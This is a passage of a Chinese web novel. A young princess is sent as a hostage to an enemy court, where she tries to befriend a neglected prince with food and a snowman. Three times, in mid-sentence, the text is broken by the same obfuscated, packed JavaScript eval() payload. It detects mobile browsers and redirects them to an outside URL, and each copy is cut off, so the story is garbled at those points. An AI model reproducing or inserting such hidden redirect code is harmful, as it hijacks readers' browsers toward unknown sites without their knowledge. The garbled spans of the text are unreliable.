《予君长欢颜》 1. 质子公主 崇文十一年,虞国下了有史以来第一场雪。 对于地处极南面的虞国来说,无疑是一件非常罕见的事。但街上却鲜有百姓,连好奇玩雪的儿童也被勒令在家中。 今天应是有不寻常的事要发生了。 大雪纷飞的街上,只有一队浩浩荡荡的马车。 马车里的贵人似乎耐不住安静,掀开了布帘向外探去,“哇,下雪了!” 马车行至街巷,不少百姓这时才从门中窗子中探出头议论纷纷。 “这就是那容国公主的马车,这气势这排场,厉害啊”。 人群中有人嗤了一声“不过是手下败将,再辉煌不也是败国公主,她以为到了虞国还能享荣华富贵么?” “我看呀,就是他们皇室奢靡无度,一个公主都有这么大排场,啧啧啧” 这些话有没有传到马车中人的耳朵里不得而知,小公主神色怏怏的,身下华贵的貂绒因为无聊被揪得秃了一块。 崇文八年春,虞国与容国交战,容国大皇子杜怀瑾领兵前往边疆戍守,三年多过去,两国均已疲惫不堪。夜里休战之时,容国的军草却在此时遭人暗算失火,杜怀瑾一路追杀歹人至山崖,中了敌人埋伏,双腿中毒箭后残废,部下贺将领带兵连夜奋战抵抗,奈何粮草补给不足,终是输了这一仗。三年战争已然使百姓叫苦连连。权益之下,两国决定谈和休战。 虞国要求容国每年上缴千两黄金,并派一名皇嗣前往虞国作为两国建交的大使。说是如此,其实就是送去做质子,可怜容国子嗣单薄,唯一的皇子双腿残废,三个女儿中的两人不是已经出嫁就是定了亲,只剩一个才满十岁的小女儿,纵然再不舍,也只能将其送往别国。 当然,这是民间的猜测,他们并不知道,那位小公主其实是自请出使虞国的。 那时小公主杜欢颜即将过十岁的生辰礼,日日缠着二姐杜长乐陪她爬城楼,一去就是半天,城楼高高的,即使是小小的公主站在这里,好像就也能望见哥哥了。 皇子重伤和战败的消息终是在杜欢颜生辰这天送达了。小欢颜第一次见到她的父皇那样慌张的起身离去,甚至疾跑了起来,在她的印象里,父皇永远都是和蔼平和的,今日这般失态,一定是发生了什么大事。 小欢颜也从椅子上跳了下来,想要追上她的父皇。长姐的眼眸中早已染了泪,她急匆匆地嘱咐了二姐照顾欢颜,又吩咐了下人们看护好两位公主,就追着父皇去了。 杜欢颜知道哥哥回来已经是三天后了。虞国派了人来,除了要求容国每年缴纳黄金,还要带走一位皇嗣。父皇的头发白了许多,姐姐们漂亮的眼睛也整日通红着。他们都瞒着小公主,却也没有真的瞒住小公主。 所以小欢颜在父皇和长姐商议时闯了进去,她也终于见到了,日夜思念的哥哥。 在进去之前,小欢颜在心里排练了一遍,一定要淡定,冷静,心平气和的请求出使。她在自己的寝宫提前哭了一会儿,就为了可以面不改色的和父皇商议。 一切万全的准备在看见哥哥后轰然失效。哥哥就那样躺在那里,再没有像以前那样笑着招呼她过去抱起她。 父皇皱着眉让她回去,小欢颜努力的平复自己的情绪,开口却是颤颤巍巍:“父皇...我...我愿意前去虞国,请您,派女儿去!” “胡闹!你才多大,怎么能让你去!” “是女儿自己愿意去的,女儿不怕,请父皇...求父皇答应女儿!”最后半句话结束,小欢颜抹了抹自己的鼻涕眼泪,也不管什么公主的仪态了,她只想说服父皇下旨。 “不害怕?不害怕你哭成这样?来人,带小公主离开!” 杜欢颜猛地扑到皇姐身上,扯着她的袖子哭求:“大姐,你求求父皇,我不是害怕离开,我只是,我只是见到了哥哥,我...大姐,父皇还需要你,二姐已经和贺公子订了亲,你们都不能去,我从小就被你们宠爱着,我不想,不想再让你们受这些苦了,求求你,姐姐,让我也做点什么吧。” 小公主还是被宫人带了下去,不过两日后皇帝下令派小公主杜欢颜为两国亲善大使,择日携绸缎财宝前往虞国 。 小公主杜欢颜就这样从衣食无忧的生活踏上了未知。但她还算乐观,离别之日也没有落泪,反观那容国皇帝,要送走女儿那是万般不舍,哭得一把鼻涕一把泪,又送上了数以万计的财宝丝缎,并要求虞国善待他的小公主。所以今日的架势看起来,这位千娇万宠的公主殿下不像是来当人质,倒像是来和亲的。 终于,在她不知道第几百次叹气,扔了无数挫绒毛后,马车在宫门口停下了,小公主也终于放过了那块秃毯子。前来迎接的太监宣读完圣旨,领着马车进了一座偏院。 在来前,杜欢颜为了能在敌国顺利生存,和二姐一起恶补了一大堆话本子,里面的内容无非是皇子被送去当质子后,生活如何如何的凄惨,而后卧薪尝胆,回归复仇的狗血情节,不过她正是好奇狗血情节的年纪,于是呢这一路都在想着自己会不会住在四面漏风的陋室中,任人欺凌宰割。小欢颜如玉般的小脸皱在了一起。她上一次这么忧虑还是因为不小心打破了父皇的宝贝玉瓶,东躲西藏最后还是哥哥替她顶了罪。 但眼下的情形明显更严重,这里没有皇兄为她顶罪,也没有姐姐们替她打掩护,她得靠自己了。 不过眼前这座院子修缮完好,甚至很大,除了偏僻些,似乎并没什么问题。 小欢颜无甚满意,这简直太好了,应该不至于有人专门跑这么远来欺负我。 她欣慰的点了点头。显然,她不知道自己的父皇提的条约远不会让她受人欺凌,她只知道这不是自己的家,没有自己的家人,万事都要谨慎小心些。 那太监介绍完这里,又打点了几个人帮忙收拾,就领着马车离开了,只留下了小阿颜的几箱衣物首饰。 杜欢颜坐在床上,身下还铺着那块秃了的貂绒毯子,这是她的皇兄为她猎来的,现在又跟着她来到了异国。 她从小备受宠爱,又是最小的公主,几乎是在蜜罐子中养大的,却并不跋扈,所以如今孤身一人,倒也没有太大的情绪波动,只是觉得自己担当了重任,一定要像书里写的那样,卧薪尝胆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14928631|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,苦练武学,若是能在将来为哥哥报仇,那更是再好不过。 说远了,年仅十岁的小姑娘还拿不起弓箭,却想着如何英勇作战了。想到这,小欢颜面上摆了一副英勇到有些夸张的表情,已然将自己想象成了未来大功臣,只是没多会儿又垮下了脸,又想到了遗憾的事,还没看到二姐成婚哩。 许是表情变化得过于莫测,站在一旁的宫女都不免有些担忧“公主殿下,您还好吗?” 小欢颜这才缓过神,看向了那位面生的姑娘,应是刚才那位大太监指派给她的。 “你叫什么” “回殿下,奴婢唤阿若,以后便是伺候公主殿下的人了,您有什么需要的,尽管吩咐我便是” 小欢颜点点头,仍旧垮着张小脸。 阿若以为她是在想家,望着小公主,想到自己也有个小妹妹,不禁有些替她难过,小公主这么小小的就离开家,太可怜了。 小欢颜其实没觉得自己有多可怜,她也应该为哥哥姐姐和父皇分忧才是。 她摒退了阿若,自己坐在毯子上,熄了灯,点了烛。 她缩进被子里,借着烛光翻阅起二姐的亲笔手记——《质子求生之术》。这是二姐连夜为她编纂整合的各路生存指南,结合了历史史实与民间话本中几乎所有与质子相关的内容。终于在熬没了几盏灯之后完成了这本杜欢颜专属生存方案。 月黑风高,正适合钻心研究报国大计。 琢磨到半夜的后果就是,第二天眼下乌青。 说来,这虞国皇帝并不下令召见她,也未提出让她去请安之类的要求,这也正和了小欢颜的意。 现在的她,正在一边打哈欠,一边举着把剑练习。 是了,想要报国,武功肯定不能差,哪怕困意滔天,还是早早爬了起来练剑。哥哥讲过,这个典故叫什么,哦对,闻鸡起舞,很刻苦厉害的! 然而如今的刻苦在旁人看来却是另一番滋味。 阿若侍奉在一旁,看着小公主边哈欠连天边将剑举得歪歪斜斜,只觉得一阵心疼。小公主在异国无人照拂,也睡不好,眼下一片青黑,是夜里哭泣了吗?还大早晨爬起来练剑,应是想缓和自己的情绪吧,真是太可怜了。 虽然并不知晓为何缓解心情要去练剑,不过这个年纪的少女总是能说服自己的理由。 阿若正巧是十四五岁的年纪,这个年纪的少女最大的特点便是多愁善感,心中充满了不忍,只一会儿就开口劝说“殿下,您练了这么久了,歇歇吧。” 小欢颜刚想应声说自己不累,却是一个没举稳将剑插进了花丛中,还弄折了一簇梅。 人与断梅相顾无言。 好吧,也许是该歇歇了,于是欢欢喜喜跑去阿若那里吃点心。 但是一簇断梅远不足以打消她的决心,需要一院子断梅才行。 就这样,每天刻苦练剑的生活持续了十几天,直到花丛中的花和枝叶全被砍掉了半个头。在最后一簇梅花也被打落后,小欢颜挣扎的思考了一下,觉得自己剑术应该没大问题,但是院子太小不太适合,遂暂时放弃。 2. 落魄皇子拯救计划! 接下来的日子,小欢颜尝试了射箭,只是她力气太小了,还拉不起弓,骑马,差点从马背上被甩下来,把阿若等一众宫人吓得险些晕了过去,耍大刀,用尽全力举起大刀甩飞,不小心削断了路过的小太监的衣角,把人骇得跪在地上直磕头。 哪个都不顺利,小欢颜闷闷不乐的,不可能有人会专门教她这位敌国公主武术,可一闲下来,她就无事可做了。 这院子偏僻,平时没有多少人会经过这里,这么多天常见到的也只有几个小太监和阿若,可他们总是诚惶诚恐的,小公主想找人聊天都成了难事。 太无趣了!小欢颜抱怨之时,耳边传来了小雀儿的几声鸣叫。小公主望着那些小雀儿,灵机一动,有了! 她喊来了阿若,让她寻些小动物,小兔子小鸡小鸭之类的都行,然后,又亲力亲为的把剩下的花丛砍个稀碎,吩咐下人收拾干净后,将阿若带回来的幼雏们安放在这里,开启了自己的养宠生活。 看着自己的小宠们一天天长大,生活也是乐得自在。而宫人们发觉公主不再耍大刀,也是阿弥陀佛,在皇宫院子养家畜竟也是可以容许的了。 只是某日,小欢颜在清点数量的时候发现少了两只鹅,她给每只都绑了不同丝带,正好少了同她最亲近的两只。 这可把我们小公主急坏了,忙吩咐人去找,又放心不下,自己亲自出门寻。 只是这么些天下来,小欢颜一直都没出过自己院子,就这么顺理成章的迷路了,又误打误撞的进了另一座更荒凉的院子,嗯,乍一看还以为进了冷宫。 小欢颜蹙了蹙眉,正打算离开,突然感觉自己的裙角撞上了个什么,竟是自己的鹅!在这座院子里找到了! 她俯下身将鹅抱进怀里。只是,还有一只呢? 小欢颜试探着又往院子里走了走。不少的树木残枝。花丛虽没有那么凌乱,看上去有人想要修缮,想修缮奈何心有余而力不足。 小欢颜边走边举起短剑随意的削掉了些许碍事的枝叶,那院子尽头的屋里终是又走出来个人,拎着另一只鹅,冲小欢颜扬了扬胳膊。 “这是你的鹅吗?它们今早闯进我的院子了”。 说话之人是个少年,看上去神态自若,如果能忽略他被鹅狠狠拧住的衣袖的话。 小欢颜点点头,感激…才怪!别以为你摆了一副镇定自若的模样我就能忽略你破碎的衣角和身上的鹅毛。自家小宠从孵出来就跟在自己身边,早已养的乖巧懂事,平日有面生的宫人路过都会吓得躲起来,怎么今日却好像和人打了一架一般,反常,太反常了。 杜欢颜又侧了侧身子朝屋后看了一眼。虽是远了些,但她还是捕捉到了隐匿在柴火后面冒着烟的锅子。 种种迹象表明,自己的鹅差点变成了烧鹅。 小欢颜应了一声,想着如何给这位烧鹅未遂的不明少年一点颜色瞧瞧,就听见有人急急忙忙的进来。 阿若一边说着小公主可吓坏他们了一边忙着请安。先抒发忧心再请安?小欢颜疑惑了下阿若的说话顺序,后面那位倒是先开了口“免礼。” “谢三皇子殿下!” 嗯?这偷鹅小贼竟是皇子,想不到啊想不到,虞国竟是如此奸诈的国度,之前设计烧了我们的粮草害了哥哥不说,竟连皇子都喜欢做些偷鸡摸狗之事,小人至极啊! 小欢颜在心里又默默的给虞国降了个档次。 不过既然这位是皇子,而自己还在他的国家,无依无靠的,不能明面上给他厉害了,好吧,其实自己是个很大度的人,怎么会咬着这点小事不放呢。 不过,皇子嘛,是不是应该趁机结交一下。这么想着,小公主已经扬起脸摆出一个无比灿烂的笑容, “原来是皇子殿下帮我找到了鹅呀,自家小宠顽劣不堪还望殿下原谅,怪不得刚才看见您就觉得您甚是亲切呀。我是容国来的亲善大使公主,杜欢颜,就住在离您不远处的宫院里,有空请来找我玩哦。” 这一通奉承满满又隐隐透着阴阳怪气的话结束后,小欢颜又端庄的行了个礼,就洋洋洒洒一手拎着一只鹅,带着下人们离开了。 待这一众人鹅离开后,这边三皇子纪如愿立刻放下了端着的仪态,转头一屁股坐在台阶上摇头称奇, “这公主怎么是这样的性子”他曾听人提过一嘴这位容国公主,都道是安静温和不爱与人言语,和他亲眼所见可谓毫不相干。 温和?他刚在屋里就瞧见了,这位公主一手抱鹅一手举剑,手起剑落就将那些拦路枯枝斩落,真是,行云流水。 不爱言语?刚刚一气呵成那老些话明明就伶牙俐齿极了。而且,皇宫院子里养鹅,亏她想得出来,只是如今到嘴边的肉跑了,纪如愿不甚郁闷。 小欢颜回了自己宫院后,免不了有了诸多疑惑。这皇子怎么住的那么破,那宫院比自己的还偏僻些。左思右想不明白,决定唤来阿若询问个究竟。 阿若倒是没有她那么多的疑惑,只说自己也不知晓的特别清楚,不过之前有些比她大的宫女们会私下里偷偷八卦,她也就听了一耳朵。 大概就是,那位虽是皇子,奈何母妃出身下贱,原只是贵妃娘娘的一位婢女,当时的贵妃娘娘极为受宠,说是陛下专宠也不为过。那婢女趁着娘娘染了风寒之时,钻了空子爬上了龙床,没多久就有孕了,这才封了官女子。 只是她命也不好,生下三皇子之后没几天就染病去世了,贵妃娘娘是个眼里容不得沙子的,恨他娘的背叛,私下里没少给他们娘俩使绊子,宫人们也都是眼尖势力的,慢慢地愈发怠慢了他们,就连陛下也不在意他。这么多年从未提起过,兴许陛下早忘了还有这么个皇子。 渐渐的,伺候在小皇子身边的宫人走的走散的散,攀高枝的攀高枝,只剩下一个婢女,当年和他母亲一同侍奉贵妃娘娘的,还有一个老太监,早就不中用了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14928632|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。三皇子这些年过的,还不比一些奴才,说来也是可怜啊”。 阿若又开始怜悯起他人来,这边小公主倒是也陷入了沉默,那他岂不是过得比我还惨喽,还以为结交到大人物了,敢情是个弃子,还偷了我的鹅,还受了我的奉承。 小欢颜的心情一时有些无法言说,随即又想到了什么,支走了阿若。翻出自己藏在柜子最里面的《质子求生之求》,快速翻找着。 有了!如遇落魄贵人可对其施以援手,与其结交,令其对你心怀感激,必要时则可令其为你赴汤蹈火。听上去很有民间话本子风格,至于具体是真的可实施,还是二姐抄顺手了无意中写下来的,小欢颜已经无暇思考了。她想好了一个伟大的计划,拯救落魄皇子! 说干就干,小欢颜又唤回了阿若,交代她让厨子今日多煮些饭,尤其是肉菜,摆盘精致些,她要带去给三皇子。 阿若其实不太能跟得上自家小殿下的想法,她刚被叫出去没多久又被喊回来,没由头的吩咐了这么些事,明明殿下回来的途中还在嘀咕着“三皇子欺人太甚”“三十年河东,三十年河西”“君子报仇十年不晚”这类的话语。 阿若是不懂这些话有什么典故的,但是“可恶”“报仇”总归是听得懂的,想来自家公主应是不太喜欢三皇子的,眼下却又让她准备膳食给三皇子,难不成,难不成,要下药? 阿若脸色不好了,又想不到怎么劝说小公主,最后只想了些别的借口:“殿下,三皇子他,平日吃穿都被那些宫人们克扣了去,应该吃不到什么油水,我们送去这些荤腥,怕是会让三皇子的身体一时难以承受。”如此旁敲侧击,聪慧如小殿下,肯定懂她的意思了。 小欢颜听完简直赞叹不已:“阿若你想的也太周到了!正好你提醒我了,那就告诉厨子做清淡些,少油少盐,应该就没问题了!” 提醒到公主了?难道殿下是想用其他的方式......少油少盐,莫非是要做的更油腻更咸些,咸死三皇子? 总归不是下药,阿若倒是松了口气,只是难吃些的话,顶多说是公主开的玩笑,况且三皇子想烧了殿下的鹅,这样的小小捉弄,也不为过。 说服了自己,阿若趁着厨师不注意,偷偷的在菜里多添了两勺油,又撒了好些盐,最后亲力亲为的做了精致摆盘,满意的跟着公主一起去送吃的了。 走到半路,小欢颜找阿若要过来食盒,要自己去给他送进去,让阿若和下人们先回去,不用等她。阿若面上一惊,小殿下这是打算当面欣赏三皇子被咸到之后的糗样?可是一个人去也太冒险了,而且会不会太欺人太甚了些。 阿若抱着食盒不肯放手,奈何小欢颜态度坚决,最终只得下定决心般嘱咐小公主,离三皇子远些再让他吃。最好是个可以随时开溜的距离。最后这句阿若没能说出口。 小欢颜欢欢喜喜抱着食盒进了三皇子宫院,将阿若的嘱托一股脑都当了耳旁风。 3. 绝命咸师与邪祟雪人 这边的纪如愿刚准备用午膳,就见早晨那位小公主进来了。 小欢颜倒也不客气,自顾自坐在了他的对面“我来…”给你送吃的这半句还没说出口,她一眼瞟到了桌上的食物,真是清汤寡水的不得了,她又抬眼望了望那人,清清瘦瘦的,虽然比自己高,但是看上去一拳就倒。自己贸然来给他送膳食,这万一伤了他自尊心,岂不是偷鸡不成蚀把米,就这么任由到嘴边的话急转而下“我想和你一起用膳!怎么样?” 话语转得生硬,差点咬到舌头,也没来得及让对面人开口,她直接开始把食盒里的菜肴摆了上来。嗯,红烧肉,看上去美味极了,回去给厨子打赏。 小欢颜又悄悄的把红烧肉往纪如愿的方向推了推,随后又扬起笑脸解释道“你是我在这遇见的第一个同龄人,今早就说了,觉得你亲切,想来定是愿意陪我用膳的,我宫里的人都不陪我,所以来找你了”说着还观察了一下纪如愿的神色,看他心思都在五花肉上,又说道“我宫里的厨子做的菜肴都可美味了,喏,请尝尝。” 介绍完菜,小欢颜明显都自信多了,她对自家厨子做菜手艺相当自豪,如此美味的五花肉,绝对没有人能无动于衷。于是也拿起筷子开动。 然后,毫无疑问的,两人都被这道菜的油腻重口程度惊到了。 纪如愿冲进屋子猛喝了几大口水,杜欢颜更是恨不得将舌头取下来洗洗。 两人平复了好一会儿,纪如愿咬牙切齿地开口:“可、美、味、了,这位容国公主,你莫不是在拿我取乐。” 杜欢颜有些欲哭无泪了,天知道做菜还能发挥失误,还是如此巨大又让人解释不清的的,失误。 小欢颜只能可怜兮兮的低着头说:“以往都很好吃的,今日可能是厨子身体不适,而且我刚刚也吃了一大口,你看见了,我若是想取笑你,何苦自己也吃下去呢。” 纪如愿气急反笑:“是,我确实不懂你为什么吃下去,或许是想看我狼狈出丑后为自己找开脱的借口,小公主满意这个解释吗?” 只是不等杜欢颜反驳,他紧接着又道“很抱歉,我今日没有心情揣测公主殿下你的想法,若是还想拿我寻开心,恕不奉陪!”说罢头也不回的进了屋关上门。 这边阿若还在路旁等着,她不放心自家公主殿下,一直没回去。瞧着时间也差不多了,小公主却还没回来,是不是被欺负了,虽然三皇子面上不显山露水的,万一背地里藏着些什么暗卫,皇宫里这种事,哪能说得准!阿若越想越心慌,抬腿就跑着去要救回小公主。 只是没跑了几步,远远的就瞧见了小公主灰溜溜的提着食盒慢慢走过来,还唉声叹气的。 阿若过去接过食盒,本想询问公主发生了什么,小欢颜就对她摇了摇头,这是不想说了。 回到自己宫院,小欢颜一头扎进被子里,内心里大喊:为什么会这样啊!不仅没被他感激到,而且看他的反应,估摸着再也不想看见我了,这下不仅不会为我赴汤蹈火肝脑涂地,搞不好会在以后某天对我进行报复,最后在我落魄之时踩我一脚,让我再也不能回家! 直到晚膳,小欢颜依旧保持着那副哀伤的表情,阿若很是担心,吩咐厨子做了好几道杜欢颜平日里爱吃的菜肴。自家弟弟妹妹不高兴时,阿娘做一顿好吃的就哄好了,公主殿下,应该也会开心些吧。 好说歹说许久,终于是把杜欢颜从被子里解救了出来。只是今日小公主看着一桌子平日爱吃的菜,竟是提不起一点食欲,还皱着眉往后缩。 阿若想不通了,公主殿下怎么好似很嫌弃似的,“殿下,这都是您最喜欢的呀,尝尝吧”小欢颜面色凝重的望着一桌子美味,随手指了一盘,决定让阿若也尝一下绝命盐师的味道,肯定就能理解自己了。 只是待阿若尝完了一筷子,并没表现出什么异样,甚至夸赞菜肴很好吃。小欢颜不淡定了,眼睛在阿若和菜上来回扫视,说服自己也夹了一小口。 熟悉的美味回来了!所以午膳真的只是个失误?可那也实在太难吃了,还偏巧让三皇子吃了。阿若见她吃完也不说话,斟酌着开口:“殿下您,不喜欢吗?” 小欢颜对着阿若作出了哭脸“很好吃,我很喜欢,只是阿若,你中午时是如何吩咐的这位厨子呀,怎么午膳吃起来又咸又腻,宛若毒药,我还拿去给三皇子吃了,所以才被他给赶出来了。” “您也吃了那菜?!所以说,您不是去捉弄三皇子,而是真的要给他送膳食?您回来一路上都在说着讨厌他,忽而又吩咐厨子给他做菜,居然不是为了报复吗,原来是我曲解了您的意思,奴婢真是该死,请殿下责罚!”随即立刻就跪了下来。 小欢颜听完阿若的一席话,脸上青一阵白一阵,消化了好一会儿,终是舍不得迁怒阿若。毕竟自己确实当着阿若的面说过讨厌三皇子,又想一出是一出的要给他送吃的,如何能不曲解意思?想来阿若也是为了让自己出气,愿不得别人,只怪自己交代不清。想罢扶起阿若,告诉她自己不怪她,只是可惜了一桌子美食,实在是没了心情品味,都分给了下人们。 找到了问题缘由,就该想办法补救。送吃的这一法子应该是行不成了,只能从其他地方下手,让他回心转意,起码不要讨厌自己。 第二日杜欢颜是被外面的声音吵醒的。 她起身往窗外一看才知道,下雪了。 下雪对于北方容国土生土长的小公主来说并不是件罕事,甚至可谓是稀松平常。但在虞国,下雪是十分难得的,有人一辈子都不一定见到几次。 而这已经是今年的第二场雪了,上一次是杜欢颜刚到虞国的时候。太过于习以为常以至于小公主那时都没有注意到虞国人看到雪时脸上的兴奋。 小欢颜耸耸肩膀,打算睡个回笼觉。慢着,虞国不轻易下雪,是不是说明他们都不知道怎么玩,那么三皇子肯定也不知道,如果自己去大显身手堆个雪人岂不是让他佩服的五体投地!然后顺理成章地教他打雪仗,他哪里还会讨厌自己,如此绝妙的机会,让自己抓住了。 说干就干!杜欢颜快速的穿好衣服洗漱完,向阿若要了把小铲子就出门了,走前还多次强调不用派人跟着,正午就回来。阿若纵然有些担忧,但杜欢颜再三跟她保证绝不靠近危险地方,只得放任她自己去了。 只是杜欢颜在三皇子的宫院外徘徊了一小会儿,想了想,他若是还没消气,应该不会愿意大清早就见到自己,决定还是先在他院子外面把雪人堆好了,再让他大开眼界。 只是事实和她预想中不太一样,以前在容国,下雪时都会有哥哥姐姐和宫人们帮着她一起堆雪人,看来这让她对自己的真实水平有了错误认知。本以为以自己雪国小公主多年的堆雪人功力,自己一人肯定也能轻松搞定。小欢颜看着自己堆得那摊雪人,没有人形,还脏兮兮的,把铲子恨恨一扔,又不小心削掉了雪人的脚。 好了,这下小欢颜彻底不自信了,任谁也不会喜欢眼前这个无臂,独脚,没有脸的东西,不大叫一声邪祟都算好的了吧。 只是如今时辰也不早了,推翻重新堆一个是不可能了,只能尽量补救一下。 小欢颜将表面脏的雪刮下去些,找来点新鲜干净的雪涂在表面,补好了碎掉的那只脚,又用树枝和梅花做了胳膊和眼睛。最后脱下自己的狐裘披在雪人身上,总算是看的过去了。 “哈秋!”刚刚忙着堆雪人倒没觉得有多冷,这会儿脱了狐裘连打了几个喷嚏。 得赶紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14928633|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他看见我的雪人,不然就要冻僵在这了。 小欢颜快步来到他的门前轻敲几下,门就开了。 纪如愿看见是她,有些没好气,本想关门的手却在注意到她冻红的脸后顿住了,随即发现她也没穿个披风,就这么单薄的站在外面,一时也不气了,只把她扯进屋子。 杜欢颜被他带进了屋,觉得他肯定也是不讨厌自己了,正好乘胜追击。 “昨天的事,真的很抱歉,我没想要捉弄你的。今日,是来给你赔礼道歉的。我听说你们虞国很少下雪,所以我特地为你堆了个雪人,希望你不要生我的气了。” 为了让这番话显得更情真意切,小欢颜特地摆了一副可怜兮兮的表情,配合着她被冻得水汪汪的大眼睛,倒真叫人看了不忍再责怪。 纪如愿本也没怎么生她的气,只是这么多年任人欺负,早也就习惯了谁都能来踩他一脚。他以为杜欢颜也是想来看他的笑话。 刚刚见她站在门外时就不忍厉声赶她了,听她说为了求原谅还给自己堆了雪人,心早就软得一塌糊涂了。 只是,纪如愿看着她的衣着,皱了皱眉:“你宫里的人就让你大冷天穿这么薄出门?”边起身想为她找见厚衣服。 只是他忘了,自己哪有什么厚衣服,翻来覆去找到一件早已穿不下的短袄,拿也不是放也不是的。 小欢颜似是看出了他的窘迫,伸手接过短袄直接穿在自己身上。她个头比纪如愿矮些,这短袄在她身上竟是出奇的合适。 她也不拖沓,穿好袄子就拉着纪如愿往外走。指着院外的雪人说:“怎么样!”只是看着那不太聪明的雪人,还是小声加了一句,“我第一次一个人堆,没那么好看,你别嫌弃好不好。” 紧接着她又几步跑到雪人身边,指着狐裘说:“看!我把自己的斗篷给她披上了,是不是看上去还挺可爱的?!” 纪如愿已经说不出话了,他没见过雪人,更没有见过只是想让他原谅,就傻呼呼的自己冻着的人。不是应该欺负完他就离开吗,言语凌辱,还是背地取笑。他早就,不在乎了。 那么多人,离开的,留下的,没有人是爱他的。 所以,她为什么,只是为了道歉吗,为了我这样的弃子,为什么对我好...... 杜欢颜看他半天不说话,还以为他不喜欢,也有些急了,“你是不是不喜欢呀,不喜欢我可以再堆的,你别不说话呀!” 纪如愿终是回过神来,只说不必重做,自己很喜欢。只是他再怎么克制声音,还是泄出些哭腔,嗓音颤颤巍巍的。 “你是不是有些冷了,说话都打颤了,脸也冻红了。”小欢颜是真的有些心疼了,因为他的衣服看上去也不厚,还有些不合身,又道:“你可以在屋子里等我堆完的,不要骗我,真的喜欢吗?” 纪如愿都不好意思了,敢情她还以为自己是冻得。 他走上前取下雪人身上的狐裘,抖掉落雪还是湿湿的,只好抱在怀里,另外一只手去拉杜欢颜,“没骗你,我真的很喜欢这个,现在外面太冷了,先回屋,好吗?” 杜欢颜坐在椅子上,看着三皇子为她生火取暖,心中却是想着:二姐,小妹没辜负你的求生守则,落魄皇子总算开始接纳我了,回家之路再次近在眼前了! 只是她突然想到,自己还不知道这位三皇子叫什么,正不知该如何询问,那边默默添火的人已然先她一步开了口: “你的名字......杜欢颜,是么,我叫纪如愿,也是,三皇子。” 真是得来全不费工夫,小欢颜心情大好,很自来熟的说:“纪如愿?如愿如愿,寓意很好的名字呢!我们这样算不算就是相熟了?那我以后可以叫你阿愿吗,你也叫我阿颜!” 4. 她远比想象中聪明 这亲密的称呼打了纪如愿一个措手不及,脸颊又开始泛起了红晕,又不想真的拒绝,只默默偏过头,嗓音透过炉火,有些闷闷的,“随你喜欢好了......阿颜。” 对面的小公主已然乐开了花,跳下椅子凑到他旁边:“那我和阿愿现在是朋友喽!” 两个小孩子的脸都被炭火烤的红红的,屋外大雪纷飞,屋内两个小动物似的团子依偎在一起取暖,严冬更胜暖春。 两人在屋内休息了好一阵儿,直到外面的雪已经停了,纪如愿才注意到一件很奇怪的事, “你出来这么久,怎么没有宫人来找你,而且他们就放心让你大雪天一人出来?” 杜欢颜只是笑着摆摆手:“不关他们的事啦,是我告诉他们不要跟着我也不要来找我的。” 纪如愿心里已是有了盘算,对于这位身份尊贵的容国公主,父皇应是看不过去她,又无法明面上针对她,所以没派什么有阅历的宫人么?这样若她出了意外,嫁祸给宫人,或是直接说是她自己的要求。原来一开始,她就被虎视眈眈地盯着...... 想到这,纪如愿面色越发冷,竟是连这样的小姑娘都不放过。他转头叮嘱杜欢颜: “阿颜,你以后还是不要一个人出来了,虞国,没有你想象的安全,他们......” 只是没等纪如愿说完,杜欢颜就轻轻开口打断了他:“他们想要除掉我,你想告诉我这个,对吗阿愿?” 纪如愿有些震惊,喃喃道:“原来你知道,可是既然你知道,为什么还......”要来找我。 杜欢颜望着他一脸凝重,忍不住捂嘴笑了一下, “因为我觉得阿愿不是坏人呀,你昨天不是还毫无防备地吃下了我送的菜吗,阿愿怎么不怕我要害你呢?” 许是话里的调侃意味太重,纪如愿瞪了她一眼,小欢颜总算收敛了笑脸,接着说, “容虞两国都交战三年了,这期间我皇兄肯定没少让你们吃瘪,如今我这个公主总算沦落到你们手里了,肯定会想方设法找我别扭。若不是我父皇提了要求,恐怕到这里没几天就会被秘密处置了。” 纪如愿没想到她能认清自己处在这样的风口浪尖,还能这样轻松的说出口,眼前这个公主,比表现出来去的要聪明的多。 只是回味杜欢颜刚才那番话,又有点不太高兴,“你刚刚说‘你们’,也包括我吗?”纪如愿其实有点忐忑,即使自己也在虞国受尽欺凌,可自己仍旧是虞国三皇子......他怕杜欢颜也讨厌他。 “当然不包括啦,阿愿和他们不一样,我愿意同阿愿在一起。”当然不一样啦,你可是我要陪拯救的落魄贵人,未来要救我于水火的。 “你......明明也没多了解我,靠感觉就认定我是好人,真是不知道说你什么好了。”纪如愿仍是以一副别扭的语气说的,只是明显比刚才轻快了些。 